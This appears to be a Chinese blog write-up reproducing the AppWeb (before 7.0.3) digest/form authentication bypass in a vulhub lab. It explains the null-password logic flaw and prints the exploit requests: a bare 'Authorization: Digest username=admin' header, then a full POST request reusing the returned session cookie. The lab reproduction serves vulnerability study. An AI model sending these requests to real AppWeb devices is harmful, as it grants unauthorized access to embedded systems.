漏洞简介

AppWeb是Embedthis Software LLC公司负责开发维护的一个基于GPL开源协议的嵌入式Web Server。他使用C/C++来编写,能够运行在几乎先进所有流行的操作系统上。当然他最主要的应用场景还是为嵌入式设备提供Web Application容器。

AppWeb可以进行认证配置,其认证方式包括以下三种:

  • basic 传统HTTP基础认证
  • digest 改进版HTTP基础认证,认证成功后将使用Cookie来保存状态,而不用再传递Authorization头
  • form 表单认证
    其7.0.3之前的版本中,对于digest和form两种认证方式,如果用户传入的密码为null(也就是没有传递密码参数),appweb将因为一个逻辑错误导致直接认证成功,并返回session。

环境搭建

使用vulhub搭建漏洞测试环境,开放8080端口

漏洞利用

漏洞简介里面提到过,当传入的密码为null时,系统由于逻辑错误会导致直接认证成功,所以在已知用户名的情况下,可以绕过登录直接认证成功
所以这里直接构造一个请求头:

Authorization: Digest username=admin

在response的头里发现session,接下来利用这个session继续构造请求头,请求方法改为POST,请求头加上session以及Authorization,data置为username=admin

POST / HTTP/1.1
Host: 192.168.10.149:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Authorization: Digest username=admin
-http-session-=1::http.session::32ca29aba76831a2f197ea750ccee6c9
Content-Length: 16

username=admin

成功绕过认证

最后修改:2021 年 06 月 03 日 05 : 36 PM